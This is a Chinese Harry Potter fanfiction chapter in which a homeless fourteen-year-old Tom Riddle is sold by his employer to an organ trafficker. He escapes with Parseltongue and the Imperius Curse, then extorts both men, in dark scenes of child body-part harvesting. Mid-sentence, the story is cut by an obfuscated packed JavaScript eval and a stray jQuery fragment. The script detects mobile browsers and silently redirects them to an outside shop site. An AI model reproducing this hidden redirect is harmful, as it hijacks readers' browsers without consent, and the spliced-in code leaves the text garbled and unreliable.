前言提要:1941年6月。暑假前夕,魔法飞船设计大师汤姆·里德尔经过反复的练习,学会了无痕伸展咒。他决心,这个暑假要住在自己施加了无痕伸展咒的六边形维生舱样机里,把维生舱放在对角巷垃圾堆的角落旁,外面伪装成普通纸箱,这样就既不需要回麻瓜界,又在巫师界有地方睡觉和练魔法。
然后他抓了一只活刺猬放进去。
啪叽。
刺猬在两天后被拿出来,成为了刺猬肉泥。
计划破产。
汤姆的暑假就这样开始了。
————
下了霍格沃茨特快,来到一片废墟的伦敦,汤姆心情很糟,刺猬肉泥溅得维生舱四壁都是,他连续用了三个“清理一新”才除掉。他脸色阴沉,一手拎着被磨掉马尔福家纹的旧皮箱,一手拎着那个舍不得留在霍格沃茨的该死的维生舱。
夏日的太阳一晒,黄铜接缝里仍然散出一点极淡的刺猬油脂味。一条饥肠辘辘的狗从国王十字跟了他三条街。汤姆几次阴沉地回头,狗以为他要喂肉,跟得更坚定了。
他该去哪。
孤儿院?那里可能是一片废墟。
夏普的药铺?在那里打工或许可以,睡觉难。
维生舱?他看了一眼手里的黄铜六边形结构。他不想均匀涂满维生舱内壁,从汤姆变成汤姆肉泥。
上个暑假,伦敦在迎接战争。
这个暑假,伦敦已经被战争蹂躏过了。
伦敦满目疮痍。炸弹并不平均地摧毁一条街,它毁灭一面承重墙,让剩下的房屋在此后几天、几星期乃至几个月里继续自行倒塌。到处是危房,木栅栏上到处钉着“危险建筑,禁止入内”的木牌;有一处街角还围着绳索,红牌上写着UXB——未爆炸弹。路边,人们在清理瓦砾。石头缝里长出了柳兰,细长的花穗刚刚泛出粉紫色。
汤姆路过,觉得那颜色丑极了。他满心都是躁动的漆黑怒火。
“走开!”汤姆扭头骂那只肋骨根根分明的饿狗。——要是可以用魔杖,我要给它来个反折咒——他怨毒地想。
狗似乎学艺不精,听到有人对它大声喊话,就以为是在喊“sit down”,于是坐下了。汤姆又走了几步,它就站起来,继续跟着他,或者跟着刺猬油脂的气味。
“走开!”汤姆又吼它。
狗坐下,抬起一只爪。这次以为是要握手。
路过一处洼地,一张印刷质量极差的报纸躺在路边的泥水里,大标题是《德国进攻俄国》。前年刚和苏联签订和平条约瓜分波兰的德国现在又和苏联打成一团,暂时无暇顾及英国。
汤姆把那张报纸用力跺了一下,又跺了一下,泥水飞溅。烦死了!烦死了!烦死了!该死的迪佩特,该死的霍格沃茨,该死,该死,该死!害他无处可去!阿布拉克萨斯在庄园里切牛排,诺特一家住在木屋里,埃弗里有乡间别墅,凭什么他要为住处挣扎,凭什么他的无痕伸展咒又失败了?凭什么——凭什么霍格沃茨不让他留校?汤姆把报纸当成迪佩特的秃脑袋猛踩。又一下。可怜的报纸被水一泡,被未来黑魔王猛踩,碎成了渣。
和汤姆同样无家可归的狗被他突发的怒气吓到,呜一声夹起尾巴。
最终,他来到伍尔孤儿院时,他花了半秒才认出来这栋他住了十几年的建筑。孤儿院的大门被木板封死,而建筑东侧被整个炸开,宿舍敞着,壁纸和床架暴露在外。
他下意识地寻找二楼东边第三扇窗。
七岁那年,他曾经趴在那扇窗后面,整夜向并不存在的飞船报告自己的位置。现在那扇窗、窗下的砖墙以及支撑它的楼板全都不见了。
汤姆愣了十几秒。
“夫人,请问伍尔孤儿院去哪了?”他问路边清理瓦砾的老妇人。
老妇人眯起眼:“伍尔孤儿院?嗯……上个月,这里被炸得很厉害,孩子们都被运走了,去了乡下,萨里?贝德福德?忘了。”
汤姆来到公共救济处,补办身份证件,寻求救济和住处。救济处向搬到贝德福德去的伍尔孤儿院拍了电报,然后让汤姆先睡到临时安置点去。
“等电报回来,我们就给你补办身份证明,然后把你遣送回伍尔孤儿院。”留着两撇络腮胡子的文员安慰道。
汤姆一点也没有被安慰到。
临时安置点在教堂里,混乱不堪,挤满了因轰炸失去家园的人。有一家四口挤在一张肮脏的床上,有寡妇跪在床边祈祷,咳嗽声一阵子如波浪般响起,刺鼻的排泄物的味道、脚臭的味道、汗臭的味道浓郁得能把人熏走。这里原本只打算让人住一两夜,可很多人已经住了第三个星期。他们把锅、鞋和搪瓷杯整齐塞进床底,在两张床之间拉起绳子晾袜子,又把一张从废墟里抢出来的全家福别在教堂柱子上,试图在六英尺宽的地方重新建立家庭生活。
汤姆刚踏进去一步,就注意到一些不善的目光,他们盯着他的皮箱(虽然旧了,但是很结实的样子),盯着这个十四岁的漂亮少年(独自一人)。所幸他怀里黄铜维生舱被施加了长效notice-me-not,不然他吸引的注意力只会更多。
“一个人?”门口有个邋遢的流浪汉问。旁边有几个男人盯着汤姆看。
“我父亲在取配给品。”汤姆说。
战争会把人逼成小偷和劫匪,也会把一个十四岁的男孩逼得重新评估一条狗。
狗在旁边摇尾巴。
汤姆里德尔最终拿出箱子里藏的半块培根,喂给狗。
“晚上如果有人靠近,叫醒我。”汤姆命令。
狗急着舔地上剩下的一点培根的油脂,没理他。
“这是你的狗?”负责安置点登记的女人问。
“是的。”
“叫什么?”
汤姆看了狗一眼。
“狗。”
女人以为他不肯合作,皱着眉在登记表上写下了DOG。狗则钻进汤姆床底,趴在他的皮箱旁边。
十点以后,教堂里只剩下中央通道上方一盏罩着铁皮的灯。帘子后面有婴儿断断续续地嚎哭,母亲低声哼唱着嘶哑的摇篮曲;一个老妇人在梦里反复喊同一个男人的名字,和鼾声夹杂在一起,被旁边的人推醒以后又坚称自己没有出声。咳嗽声,鼾声,梦话此起彼伏,时不时有人起夜,引起一连串低低的抱怨。
半夜,一只手摸上了汤姆的皮箱提手。
狗先醒了。它没有叫,只从床底发出一声极低的咆哮。那声音不大,牙齿却在昏暗中露得很清楚。
汤姆猛地睁开眼,右手已经伸进外套,分别握住两根魔杖。蹲在床边的男人立即松手。
“挡着过道了。”男人说,“我只是替你挪一挪。”
汤姆和狗一起盯着他离开。
第二天早上,汤姆疲惫而高度紧张地醒来。狗的下巴贴在箱子上,同样有点困。
要在这里住一整个夏天?难以忍受。回乡下的孤儿院,远离对角巷?更不可能。
第二天,汤姆离开教堂,狗一路跟着,似乎自认为找到了一张长期饭票。它跟到破釜酒吧门口,就呜呜地驻足不前,夹起尾巴,根本看不到两处废墟的缝隙里的魔法入口,也看不到刚进去的汤姆。
汤姆想了想,如果明天晚上还得睡安置所,他还是需要一条放哨的狗。于是他把脑袋探出破釜酒吧的门,喊:“过来!”
狗看到他,眼睛发光,尾巴摇成螺旋桨。汤姆扯着狗的后颈毛,把它拽进魔法世界。狗被拽进门,缩低身体,鼻子飞快抽动;它闻见陈啤酒、猫、猫头鹰粪、炉灰,以及一百种不属于麻瓜伦敦的动物气味。和三年前的汤姆一样,狗被光怪陆离的魔法世界吓到了,鼻翼翕动,一直紧贴着汤姆的小腿。它倒是没有去扑飞过的猫头鹰和猫,看起来在旧主人那里受到过很好的训练。不过在路过肉铺时,它还是差点破功,被汤姆用魔法变形出的皮绳扯了半天才带走。
一人一狗路过如以往一般热闹富饶的对角巷,来到阴森的翻倒巷。
汤姆敲药材铺的门,夏普打开一条缝。
“没死?”
“托您的福。”
“还增殖了?”夏普斜睨了一眼狗。
汤姆开始考虑谋杀夏普伪造遗嘱掠夺财产的可行性。较低。
“先生?”
“嗯?”
“可以把这个放在这里吗?”汤姆捧起他的维生舱。散发着刺猬油脂味。
“这是什么?”夏普因其丑陋外观而皱眉。
“一个样品。”
“有什么东西死在里面了吗?”夏普的鼻子也很灵,和狗一样。
“……一只刺猬。”
夏普没有看懂这杀刺猬的丑玩意是什么,但是他显然意识到了汤姆很珍视它。他又看了一眼汤姆的皮箱、卷在箱顶的灰毯,以及毯角盖不住的麻瓜安置所印章。
“你可以每晚住在地下室的地板上。”他慢悠悠地说,“住宿费从你工资里扣——”
翻译:白干,说不定还得倒贴钱。
但是汤姆还是眼前一亮,有地儿住了。
“——如果你胆敢手脚不干净,哪怕胆敢偷走半勺苦海盐,你和你的狗一起给我滚出去,这个黄铜破壶我留着,熔炼完了还能卖几个纳特。我说到做到。”
“是的,先生。”汤姆乖巧地说。
于是,汤姆第三个暑假的打工生涯开始了。
狗睡在后门旁边。夏普扔给它一截剔过肉的牛骨,又宣布它要用捕鼠来换食宿费。它当天夜里抓到一只,放在汤姆枕边。汤姆把老鼠丢到了夏普卧室门口的地上。
夏普第二天踩碎了一只死老鼠,拖鞋遭了灾。
————
夏普先生给汤姆增加了跑腿的活计。汤姆现在已经是14岁的少年了,他认得货,记得路,会看客人的手是先摸向钱袋,还是先摸向魔杖袋;更重要的是,他的皮箱和维生舱都在夏普手里。夏普终于敢把价值几西可而且猫头鹰带不动的货物交给他送出去。
汤姆替药铺跑遍翻倒巷。
他给博金—博克送过两瓶尸蜡,那位夫人目光温柔地打量他;他给一家专门替人消除恶咒痕迹的洗衣店送过一大桶龙胆汁;给棺材屋送过处理尸体的没药、樟脑、藏红花;也给莫尔德父子书店送过用来驱赶书蠹的毒粉。
汤姆第一次给书店送货时,在柜台上看见一本《内大于外:容器扩展术中的七十三起事故》。封面画着一只旅行箱,箱缝里伸出七只属于不同人和非人生物的手。
“翻阅费十纳特一刻钟。”莫尔德说。
“我替您把毒粉送到了。”
“送货费找夏普要。”
“我可以替您把东墙那一架书重新编号。”
“你会被咬伤。”
“那是我的损失,不是您的。”
莫尔德抬眼看了看他。“滚。”
汤姆只好掏出十纳特。
他在第十一分钟找到了刺猬变成肉泥的原因:无痕伸展咒扩大的不是黄铜壳本身,而是壳所包围的连续内部空间。汤姆却把六面舱壁分别做成六个独立的保温、防护与供能边界;当扩展空间在接缝处校正尺寸时,每一面都坚持自己才是外界与内部的分界。六套正确的回路共同得到了一个错误得极其彻底的答案。
插图是一名被均匀分布在衣柜六面内壁上的巫师。巫师肉泥。
哦,可怜的刺猬。汤姆看着血腥插图,无动于衷地想。
他用剩下的四分钟完成了东墙最靠下一栏书籍的编目整理。莫尔德狐疑地看着他,检查了一番,发现整理得没有错。
汤姆殷勤微笑。
莫尔德深深皱眉。
从此汤姆成了莫尔德父子书店最不受欢迎的常客,他用自己从牙缝里省出来的纳特和给书籍整理编目,来换取读书的机会。他研究无痕伸展,也研究夺魂咒。赫斯那件事之后,汤姆一直想知道,直接夺取一个人的意志,与放大他本来就有的欲望,究竟有什么区别。
汤姆就这样碎片化地读完了《论意志的占有、替代与返还》,这本书的书页会在人靠近时轻声重复读者最想听见的话。汤姆每次读它,都先用棉花塞住耳朵,再打开书页。
莫尔德父子书店严禁复制咒,于是,汤姆在麻瓜界的文具店以非常低廉的价格买了个日记本,黑色封皮,专门用来记录书上的咒语。他用雕刻咒语在笔记本的黑色皮壳上压印上了T. M. Riddle。
这是未来的火星之主的研究日记,总有一天会成为文物。汤姆野心勃勃地想。
————
可能受欧洲格林德沃战争影响,夏普的生意不太好,客户越来越少。他心情很烂,极尽克扣,连狗吃的骨头都要夏普嘬一嘬再丢给它。汤姆磨药材的时间也少了,他也乐得清闲,多出很多空闲时间去书店和偷偷修理维生舱。
这天,汤姆替夏普向考尔德冷血动物店送去两磅干燥蜥蜴卵和一瓶催眠草汁。店铺屋顶嵌着一块积灰的玻璃,正午阳光从上面斜照下来,落在一排加热石上。蛇们挤在那里晒太阳。
刚进门,几十道声音便同时钻进他耳朵。
“你压住我的尾巴了§。”
“晒太阳§。”
“有老鼠吗§?”
“没有§。”
“那个两脚的带着狗§。”
“吃狗§?”
“毛太多§。”
“有老鼠吗§?”
“你刚问过§。”
“饿§。”
一条肥胖的岩蟒慢吞吞地把头搁到另一条蛇背上,后者骂了它三遍,它都懒得挪。玻璃箱里的两条草蛇围绕谁先看见一只并不存在的青蛙争论不休。角落一条非洲树蛇只说一句:“热§。”过了半分钟,又说一句:“饿§。”
“吵死了§。”汤姆低声嘟囔,一不小心用了蛇佬腔。
所有蛇同时转向他。
“有老鼠吗§?”它们齐声问。
汤姆把货物交给昏昏欲睡的店主,一刻也没有多留。
蛇很笨、很懒、很馋。能够理解一种语言,并不意味着这种语言里有任何值得听的东西。汤姆真心不觉得蛇佬腔有什么大用——除了让莱斯特兰奇变成小弟之外。
————
夏普的一顿午饭不足以维持一个十四岁男孩每天工作、送货、看书和修理维生舱,汤姆仍然需要定期回到麻瓜伦敦。
他从教堂安置点溜走后的第三天,伍尔孤儿院的电报到了。孤儿院现已迁往贝德福德,仍然对汤姆负有监护责任;公共救济处为他补办了身份证明和配给本,并准备在第二天派人把他送上火车。
汤姆拿到了自己的证件,签了字,表示自己会在等候室里等护送人员,然后从厕所旁边的运煤通道离开了。
配给本并不会免费变出食物。它只允许汤姆拿自己的钱,去购买国家准许他购买的那一小份黄油、糖、奶酪和肉。他把配给本登记在一间离孤儿院废墟很远的杂货店,买最便宜的面包、土豆、燕麦和人造黄油。
更常见和便宜的晚饭来自英国国民食堂。那里不收个人配给券,只收钱,价格低,汤姆端着铁皮托盘,和工厂女工、铁路工人、被炸掉厨房的家庭一起排队,通常可以买到一碗蔬菜汤、一盘土豆多于肉的炖菜和一块面包布丁。狗被留在门外,趴在墙边等他。
在旧货摊上,他还买到一把折刀。骨柄裂了一道缝,刀身只有一掌长。在无法用魔法的麻瓜世界,他可以用这个保护自己。
————
七月下旬的一天,夏普让汤姆给一间没有招牌的地下作坊送货。
“塞拉斯·克雷克的魔法生物材料加工作坊。别进去。”夏普轻描淡写地说。
汤姆在翻倒巷跑腿,听说过这家作坊,据说这里处理一些违法的生物素材。作坊夹在骨风铃铺子和一栋封死的危楼之间,门开在街面以下,三层石阶常年浸着从墙缝里渗出的黑水。地上两层的窗户全被砖砌死,只在最上方留着一根细铁烟囱。烟囱没有冒烟,门前却落着一层烧过骨头才会留下的细白灰。门板包着发黑的铁皮,没有招牌,只有一只形状像下颌骨的门环。
汤姆走到门前,门自己开了。门后挂着十几串干燥的器官。他一进去就闻到血、尸油和烧焦头发的气味。狗在门槛外停住,背上的毛一根根立起来。
“您好,是克雷克先生吗?”汤姆礼貌地问,手慢慢攥紧魔杖。他低头看,通往地下的石阶一片昏暗,看不清人形,“我来送胆盐。”
“进来。”从下面传来克雷克低沉而松弛的声音,像一把用惯了的骨锯,锯齿被经年的使用磨钝了,但足够致命,“把门关上。”
汤姆没关。他后退一步。
克雷克的庞大身影在黑暗中转向汤姆,他一扬魔杖。汤姆被扯进门内,狗汪地一声跟着冲进来,然后门自行砰地合拢,门锁咔哒落下。与此同时,汤姆藏在袖中的备用魔杖和握在手里的紫杉木魔杖一前一后被猛地扯出去,撞到墙上,落在克雷克脚边。
*噢。不妙。他甚至知道我有两根魔杖。谁告诉他的——夏普——?*
克雷克从石阶下面走上来。他肩膀宽阔,腹部沉甸甸地压在一条灰白皮围裙下;头发剃得很短,而且头顶完全秃了,上面有蜘蛛的纹身,皮肤因长年待在地下而呈现出尸蜡似的灰黄色。他的手指粗大,指甲却修得很齐,指缝里没有一点血。那双颜色很淡的眼睛依次看过汤姆的头、胸腔和四肢,和看悬在门后的器官没有任何区别。
“夏普少给了我半盎司。”克雷克掂了掂木匣。
“铅封没有动过,先生。”汤姆的声音勉强保持冷静。
“我当然会找他。”克雷克打量着汤姆,目光从脸移到喉咙,再到手腕内侧,“不过活体材料比胆盐贵。十四岁?魔力已经稳定,骨头还在长。好货。我会给老夏普多补点尾款。”
*不妙,夏普那个老畜生把我这个送货小弟连货一起卖了——我就知道他是个狗东西!该死——*
然后他看到克雷克背后的墙上,一只宽口玻璃瓶里泡着半截孩童的手。标签墨水已经发褐:女巫,10岁,右手,采集后九小时浸制。
汤姆的胃猛地绞紧,一千只手同时攥着。Holy crap.
狗咆哮一声,勇敢地扑向克雷克。但它显然没有受过如何对付巫师的训练。克雷克连头也没回,魔杖向后一挥。狗被摔到一只空木架上,惨叫一声,倒在地上,不再动了。
汤姆猛地拔出折刀,向前一步,刀锋斜着划开克雷克握杖的手背。
克雷克反应不及,血立刻涌出来,他脸上满意的笑消失了。
下一瞬,一条看不见的绳索勒住汤姆两腕,把他的手猛地扭到背后。折刀落地。他被按到工作台边缘,肋骨撞上木角,眼前一黑。克雷克一把攥住他的头发,迫使他仰起脸。
“我本来打算先让你睡着。”他遗憾地说。
不。汤姆全身僵住了。他想到那只半截女童的手。不。不。不不不不不不不不不!我不想死我不想死我不想死!汤姆的脸在极度的惊恐中扭曲,他疯狂地挣扎试图踢开克雷克,但是成年男巫的力气显然比他大。克雷克一脚踩在了他的踝骨上,力度合宜,恰好让他无法挣扎,也恰好不会骨折,估计是为了取材料更完整。
“哦……必须活着取材。这可不容易。”克雷克喃喃。
汤姆在绝望中看到工作台下面有一只窄长玻璃箱,两条欧洲蝰蛇盘在干苔藓上。它们被响声吵醒,正不耐烦地吐信。
“他流血了§。”一条蛇说。
“不是食物§。”另一条说。
“出来§!”汤姆盯着克雷克的眼睛,用蛇语发出一连串又低又急的嘶声,“从缝里爬出来。钻进他的裤腿。等我叫你们咬§!”
克雷克瞪大眼睛,玻璃箱里的两条蝰蛇兴奋地高昂起头。
“蛇语者§?”
“有食物吗§?”
“我也要咬§。”
满屋都是此起彼伏的嘶嘶声。
克雷克攥着他头发的手静止了。
“Gaunt(冈特)?”克雷克惊愕地低问。
两条蝰蛇已经从玻璃箱里钻了出来,向它们主人的裤脚爬去。克雷克松开了扯着汤姆头发的手。“速速禁锢!”他对其中一条蛇施咒。
“咬露在鞋子上面的地方§!”汤姆尖声命令。
蝰蛇抬起前半身,一口咬进克雷克
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830842|211320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鞋帮与裤腿之间裸露的脚踝。
克雷克猛地抽气,右腿条件反射地踢出去。蝰蛇被甩到墙上,束缚着汤姆双腕的魔咒也在同一瞬间松开。
汤姆扑向自己的魔杖,他伸手抓住离自己最近的那一根——不是紫杉木魔杖,而是九英寸长、弯曲粗糙的那根备用魔杖。
克雷克刚刚站稳,染血的右手已经重新抬起,他的小眼睛闪出寒光。
“Imperio!”汤姆抢在他之前施咒。
咒语击中克雷克的胸口。克雷克的脸先是空白了一瞬,随后猛烈扭曲,显然,他的意志在对抗夺魂咒。第一次在活人身上施展这种咒语,汤姆感受到,他在触碰克雷克——克雷克的意志不是一扇可以轻易推开的门,更像一排塞满货物的沉重抽屉,每一只都贴着标签、上了锁,并且坚持自己必须按照原来的次序打开——等等,这么下去他要挣脱了——
*《论意志的占有、替代与返还》说:不要命令一个人突然成为另一个人。给他一件与原有欲望足够相似的事,让他把服从误认为自己的下一个念头。*
克雷克最可能想什么?汤姆喘着粗气,大脑飞速运转:和他原有欲望足够相似的念头是什么?哦……对了。
“克雷克。Silas Craik(塞拉斯·克雷克)。”汤姆强行让自己镇定下来,让自己的嗓音充满魔法的蛊惑力,“来估价:我值多少钱?”
克雷克的表情从挣扎的扭曲慢慢变得迷茫,他打量汤姆,从头颅,到颈部,到手腕,到脚踝。然后他顺从了汤姆的意志。
“一百二十加隆,先生。如果考虑蛇佬腔,可以翻倍。但是作为素材,一百二十加隆。”
“那么,付款。”
克雷克配合地放下魔杖,打开保险柜,拿出了二十加隆,然后迷茫地说:“我没有现钱了,先生。刚给了夏普五十加隆。”
汤姆盯着他。
“为什么给夏普五十加隆?”
“定金。”
“买什么?”
“买你。”
汤姆的备用魔杖在他手里发出一下不堪重负的细响。
“他告诉了你什么?”
“你有两根魔杖,备用杖藏在右袖。那把折刀他没有说。”
汤姆回忆这个暑假。夏普让他住在地下室。夏普把他的皮箱和维生舱扣在店里。夏普开始让他独自送货。
原来那不是住处。
那是活体药材的临时仓位。
“给我写一张一百加隆的欠条。”汤姆说,“每个月加十加隆利息。”
克雷克顺从地写了。
狗还躺在架子下面一动不动。
“救这只狗。”汤姆命令。
克雷克迟滞着没有动。拯救生命和他平时做的事相差太大了。
“它的尸体可以卖钱。皮毛、肝脏、眼球、骨头,都可以。我来处理。”克雷克说。
“你需要这只狗活着。不然你要赔偿。这是贵重货物的附属赠品。”
克雷克于是照做。他用魔杖检查骨头和内脏,修复了两根断裂的肋骨,又给狗灌下一小瓶止血剂。狗的身体抽动了一下,然后发出一声悲鸣。
“还需要什么?”
“动物用愈伤药剂。三加隆。”
“记在欠条上。”
汤姆一边用备用魔杖对准克雷克,一边捡回紫杉木魔杖,他给两根魔杖分别施了防夺取咒,又命令克雷克喝下蝰蛇毒的解毒剂。克雷克处理伤口时,汤姆坐在工作台上,备用魔杖始终指着他。
“如果你控制了一个比自己强壮、懂得许多你不会的魔法,而且必须在九月离开你十个月的黑巫师,”汤姆问,“你会怎样防止他复仇?”
克雷克的意识清醒了一瞬,他的脸又扭曲起来。他知道答案都会落回自己身上,夺魂咒却让回答变成一件极其自然、甚至很值得认真完成的工作。
“杀了他。”克雷克说。
“他还可能有用。”汤姆否决。
汤姆计划每天一早一晚,对克雷克补两次夺魂咒,然后住在他这里,直到暑假结束。
天啊,他要是早点想出这个主意就好了。
然后汤姆开始清点自己的新财产。
克雷克的保险柜里除了现金,还有三本账册、两串钥匙、一叠客户订货单、七只封着记忆的细颈小瓶和一份尚未签字的遗嘱。账册不用暗语。克雷克认为把人体部位写成“玫瑰花瓣”或“椅子腿”之类的暗语只会让库存记录发生灾难性的错误,因此他把每一笔都记得清清楚楚:姓名、年龄、性别与血统;身体部位;取得时间;死亡前还是死亡后取材;保存方法;供货者;买主;价格。
汤姆翻到最后几页,看见了自己。
七月二十八日:男巫,十四岁,混血或麻瓜种。两根魔杖。身体完整。预计分散卖出可获一百二十加隆。向A. Sharp(A. 夏普)预付五十加隆。交付方式:胆盐。
夏普的缩写签名压在下面。
汤姆把那一页撕下来,施了复制咒,又把原页重新粘回去。然后他让克雷克把涉及夏普、活体材料、未成年巫师以及魔法部雇员的页面全部标出来。
————
一个小时后,汤姆带着克雷克去找夏普。
他没有忘记受伤的狗。克雷克把狗抱在怀里,狗恢复了一点意识,发出微弱的呜咽。汤姆先在对角巷买了一瓶动物用愈伤药剂,支付三加隆药费,亲眼看着克雷克给狗灌下去。
他们还在考尔德冷血动物店停了一次。
“去夏普的药铺§。”汤姆打开两排蛇箱,用蛇语说,“那里有老鼠。很多。先别咬人,等我命令§。”
“有多少老鼠§?”
“不知道。”
“那就是很多§。”一条草蛇判断。
三十九条蛇从店铺后窗和排水沟里钻了出去。
汤姆敲门。
夏普把药铺门打开一条缝。
“没去送货?”他神情不太自然。
“货物回来了,先生。”
“我没——”
夏普看见汤姆身后神情恍惚的克雷克,声音停了。他又看见克雷克怀里受伤的狗,最后看见蛇正从汤姆鞋边爬进门缝。很多,很多,很多条蛇。
“把它们弄出去。”
“谈完以后。”
汤姆走进铺子,把那张交易记录铺在柜台上。
“念。”他说。
克雷克开口:“七月二十八日。男巫,十四岁,混血或麻瓜种……”
夏普的脸一点点变成了浸泡死水蛭的颜色。
“你告诉塞拉斯·克雷克,我有两根魔杖。你还告诉了他我放魔杖的位置。”汤姆的声音低缓而优雅,“派我送货的时候,可没有说还有‘男巫’这一件。真是个惊喜。”
“你活着回来了。”夏普说。
“这不是您安排的。”
夏普闭上嘴。
一条草蛇钻进空瓶,盘在瓶底。另一条蛇爬上了放苦海盐的木架。夏普抓起夹钳,汤姆轻轻嘶了一声,蛇立刻昂起头。
夏普把夹钳放下了。
“您让我住在地下室,”汤姆说,“也是为了保证货物完整?”
夏普沉默。
汤姆确实曾在听见“可以住地下室”时眼前一亮。虽然工资会被全部扣掉,虽然只有一块地板,可他躺在那里时真的高兴过。他在巫师界有了一块相对安全的地方可住。
原来那不是住处,是仓库。
一个人是孤儿的保护者还是人体器官贩卖者,可能取决于五十加隆。
他很平静地想把夏普的两只眼睛挖出来塞进他鼻孔里,冰冷的怒火在脏腑内燃起。蛇群感受到他的情绪,纷纷从瓶子、木架和炉膛里探出了头,数量越来越多,夏普的后槽牙开始颤抖。哦。蛇佬腔有这个作用。
“今年铺子生意不好。——你是知道的。”夏普声音沙哑。
“很好。”汤姆说。
夏普看着他的脸,右手慢慢移向柜台下面。
"Don't."汤姆说。
克雷克同时举起魔杖,对准夏普。
夏普的手停住了。
他最顾忌的不是克雷克,而是汤姆。一个十四岁就能用夺魂咒反过来控制“生物材料处理专家”的小巫师。一个逃出生天以后没有去找傲罗,而是带着买主回来清点卖家财产的小巫师。他只有十四岁。
夏普在心里重新给汤姆估了价,选择配合。
“把五十加隆还给我。”汤姆的嗓音格外甜美,“退货。货物已经回来了,嗯?”他模仿了一点阿布拉克萨斯戏剧化的口吻,眼睛一眨不眨地盯着夏普,漂亮的面孔如地狱里爬出来的鬼魅一样。
夏普看了一眼克雷克空洞而顺从的眼睛,从柜台下取出一只钱袋,放在桌上。
“我的行李和维生舱。”
夏普让开地下室的门。
“全部龙血和独角兽尾毛存货。”
“你做梦。”
“克雷克。”
克雷克一只手继续用魔杖指向夏普,另一只手捧起账本念。
“二月七日,麻瓜血三加仑,由A. Sharp供货。三月十二日,巫师股骨两根,由A. Sharp供货。五月二十六日,麻瓜女人子宫六个,A. Sharp购入——”
夏普的蜡黄脸绷得像一张晒干的皮。
“全部不可能。”他说,“一半。”
“全部。”
“龙血给你一半,独角兽尾毛全部。不能再多。”
“全部。此外,以后每月给我送一份进货单;有人打听克雷克、我、冈特或者解除夺魂咒,立即告诉我。”
“成交。现在把蛇弄走。”
“不。”汤姆笑了。
夏普恶狠狠地看着他。
雇佣关系破裂了,账还得继续记。当天,老夏普把克雷克的名字重重地从供货名单里划掉,把50加隆从收入里划掉,也把给汤姆的每天10纳特的工资从支出里划掉。不久,翻倒巷传出流言说老夏普的药铺让无数不知从哪里钻出来的蛇占了,天花板、炉膛和每只空瓶里都是蛇。驱之不尽。